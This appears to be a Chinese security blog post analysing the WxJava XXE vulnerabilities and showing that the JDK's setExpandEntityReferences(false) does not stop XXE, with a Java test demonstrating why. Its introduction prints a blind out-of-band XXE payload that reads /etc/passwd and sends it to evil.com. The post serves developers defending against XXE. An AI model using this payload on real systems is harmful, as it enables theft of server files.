修不好的洞，JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会
事情缘起
前些日，开源社区流行的微信Java SDK爆出XXE注入漏洞，漏洞编号为： CVE-2019-5312 。在我分析漏洞时发现这个漏洞源自于一个未修好的漏洞： CVE-2018-20318 。在做这两个漏洞的补丁commit diff的时候发现CVE-2018-20318的修复方案是在创建DocumentBuilderFactory实例后对其做了 factory.setExpandEntityReferences(false) 的设置。CVE-2019-5312中又在下面增加了 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) 的设置。这引起了我的好奇，深挖了一下，发现整个事情还比较有趣，于是想整理下，分享给大家。
啥是XXE注入
既然是有关XXE注入的漏洞，那么想读懂这篇文章就需要对XXE注入漏洞有所了解。在这里我推荐阅读 @gyyyy 大佬的文章： 《XXE注入漏洞概述》 ，文章中非常详细的介绍了XXE注入的基础知识、漏洞原理、挖掘思路、利用方式等等。我在本文中简单带过一下原理。
XML外部实体注入 （XML External Entity Injection） 是一种针对解析XML文档的应用程序的注入类型攻击。当恶意用户在提交一个精心构造的包含外部实体引用的XML文档给未正确配置的XML解析器处理时，该攻击就会发生。XXE注入可能造成敏感信息泄露、拒绝服务、SSRF、命令执行等危害。
XML实体又分为内部实体和外部实体，声明方式如下：
<!ENTITY name "value">
<!ENTITY name SYSTEM "URI"> <!ENTITY name PUBLIC "PUBLIC_ID" "URI">
外部实体声明中，分为 SYSTEM 和 PUBLIC ，前者表示私有资源 （但不一定是本机） ，后者表示公共资源。实体声明之后就可以在文本中进行引用了：
<foo>&xxe;</foo>
XXE注入较为常见的利用方式是基于OOB的任意文件读取 （盲注） ，利用方式如下：
<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxeSYSTEM "http://evil.com/xxeoobdetector.xml"> %xxe; ]> <foo/>
xxeoobdetector.xml
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>"> %def; %send;
更多内容也可以参考 XML_External_Entity_(XXE)_Processing 。
XXE注入漏洞简要分析
以WxJava的XXE注入漏洞为例，漏洞发现者在项目Github仓库中提交 Github issue#903 ，并提供了 修复参考 。
先在github上进行 commit diff 对比：
可以看到作者使用的是JDK自带的XML解析器。在创建 DocumentBuilderFactory 类的实例之后进行了 setFeature 禁用DTD文档。
然后仿造issue中的描述初始化 WxPayOrderQueryResult 类实例，通过其父类的 setXmlString() 方法设置 xmlString ，然后调用此类实例的 toMap() 方法将xml文档转换为Map。在此调用了此类的 getXmlDoc() 方法。
进入 getXmlDoc() 方法中发现此处已经对 DocumentBuilderFactory 实例进行了 setExpandEntityReferences() 的设置，但经过测试，这里依然可以解析DTD文档和外部实体，触发漏洞。
节外生枝
本来这个漏洞分析到这里就可以结束了，但我看到了这个漏洞关联另一个issue： issue#889 ，发现其对应漏洞CVE-2018-20318，再次进行 commit diff 对比：
发现作者在解决CVE-2018-20318之前对 DocumentBuilderFactory 实例没有进行任何设置，直接解析XML文档。那么问题来了，为什么作者加上 factory.setExpandEntityReferences(false) 的设置漏洞仍然存在？是 factory.setExpandEntityReferences(false) 没有生效吗？作为开发出身的我，第一反应是查这段代码的注释和官方文档，开发过程中我们应该永远最相信官方的文档。
直接跟进这个方法定义的位置：
从代码注释翻译过来大概是 指定此代码生成的解析器将扩展实体引用节点。 默认情况下，此值为 true ，如果参数为 true ，解析器将扩展实体引用节点，否则设置为 false 。 官方文档 的解释与其一致，不再展示。
那么从这短短的一句话上分析， setExpandEntityReferences() 方法参数为 true 的时候，解析器会扩展外部实体，为 false 的时候不扩展，好像没毛病。我如果是开发看到了文档给出的解释也会这样改，那么问题到底在哪里？
寻坑之路
通过搜索发现，和我有同样疑问的人其实不少，首先我看到了两封疑似邮件记录的东西，第一封主题为 Disabling XML External Entites ，这个人恰好是想解决安全问题禁止外部实体解析，但发现了通过 setExpandEntityReferences() 并不能阻止XXE注入攻击，于是邮件提问，得到的回复如下：
第二封主题为 
CVE-2014-0191 libxml2: external parameter entity
loaded when entity substitution is disabled这个人貌似是想写一篇全面的关于XXE注入的论文，但是它遇到了同样的问题，且提到了官方的描述非常的简短。他得到的回复如下：
在这个回复中甚至提到了OWASP的文档中都是需要更新和维护的。OWASP以前的文档不可考察了，现在OWASP中针对XXE注入防护的Java部分是这样的：
这里依然提到了 setExpandEntityReferences() ，并且提到了一篇2014年的论文 （好像和刚才发邮件的不是一个人:-D） 于是我又将 论文 翻出来，论文中提到的有关内容如下：
我们发现，这两个邮件的回复大意都是说这是设计如此的， setExpandEntityReferences(false) 和实体的解析是不冲突的， setExpandEntityReferences() 只告诉DocumentBuilder它是否应该在tree中包含EntityReference节点。
随后，我又在JDK的BUG系统中找到了两个BUG的提交记录，分别是
Method setExpandEntityReferences of Object DocumentBuilderFactory has no effects
， DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false) ，两个BUG提交后得到了同样的回复：这不是问题！其中在第二个BUG的回复中详细解释了参数设置为true 和 false 对应的意义：
setExpandEntityReferences = true表示展开或“解析”实体引用，即没有EntityReference节点。
setExpandEntityReferences = false，将指示解析器将EntityReference节点保留在DOM树中。 挖到这里，我大致明白了这个方法的作用， 此方法作于XML解析后生成的文档。设置为 true 则展开实体引用到生成的文档中替换掉 &xx 的实体引用声明，设置为 false 则保留实体引用声明的DOM树在生成的文档中 。
听起来还是有点绕？下面我通过一个例子来解释下上面那句话。
假如有XML文档如下：<!DOCTYPE foo [
<!ENTITY xxe "test">
]>
<document>
<title>&xxe;</title>
</document>
测试代码：
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.EntityReference;
import org.w3c.dom.NodeList;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.ByteArrayInputStream;
public class Test {
public static void main(String[] args) {
String xmlStr=
"<!DOCTYPE foo [/n" +
" <!ENTITY xxe /"test/">/n" +
"]>/n" +
"<document> /n" +
" <title>&xxe;</title> /n" +
"</document> ";
Document doc= getXmlDoc(xmlStr);
Element e = (Element) doc.getElementsByTagName("title").item(0);
final NodeList nl = e.getChildNodes();
System.out.println("nl.item(0) instanceof EntityReference):" + (nl.item(0) instanceof EntityReference));
System.out.println("nl.getLength():" + nl.getLength());
}
public static Document getXmlDoc(String xmlString) {
try {
final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Comment the code below to see the effect
factory.setExpandEntityReferences(false);
Document xmlDoc = factory.newDocumentBuilder()
.parse(new ByteArrayInputStream(xmlString.getBytes("UTF-8")));
return xmlDoc;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
设置 setExpandEntityReferences(true) ，观察变量 nl 的结构：
注意此时 nl 的长度为1，此时文档结构大致如下：
+- document
+- title
| +- #text：test
输出如下：
设置 setExpandEntityReferences(false) ，观察变量 nl 的结构：
我们发现，此时的 nl 的长度为2， nl.item(0) 是一个name为 xxe 的 EntityReference 节点，它还有个兄弟节点，值为 test 。此时文档结构大致如下：
+- document
+- title
| +- xxe
| +- #text：test
输出如下：
上面的例子证明了，无论如何设置 setExpandEntityReferences() ，外部文档都是已经解析完了的。因此无法防护XXE注入。
不过官方文档描述过于简单，实时也证明了通过官方文档对 setExpandEntityReferences() 的解释真的容易产生歧义。因此在开发者修复漏洞的时候还是要参考OWASP给出的参考建议 （我甚至觉得OWASP建议中的 setExpandEntityReferences(false) 都应该注释标明它不能防止XXE注入） ，不要太过于自信自己对文档的理解。修改后应及时测试。
官方认坑
就在我觉得这个事情真的到这里就结束了的时候，我发现事情又有了转机。通过在JDK的BUG系统中搜索，我又发现有人在说这个问题：
DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)
，不过神奇的地方来了，这次官网没有用之前的话术草草回复过去，而是接受了这个BUG！！就在两天前（2019年1月29日）， @Joe Wang 为其创建了名为 Change DOM parser to not resolve EntityReference and add Text node with DocumentBuilderFactory.setExpandEntityReferences(false) 的任务，并且在任务描述中明确了当 ExpandEntityReferences 设置为 false 时，DOM解析器不再读取和解析任何实体引用。对于打算避免解析实体引用的应用程序，这样的设置将会按照预期工作。
setExpandEntityReferences(false) 来解决XXE注入的问题了。不过现在这个任务的状态还是 NEW ，我会继续跟进它。
正文到此结束
热门推荐
相关文章
Loading...
![[HBLOG]公众号](https://www.liuhaihua.cn/img/qrcode_gzh.jpg)
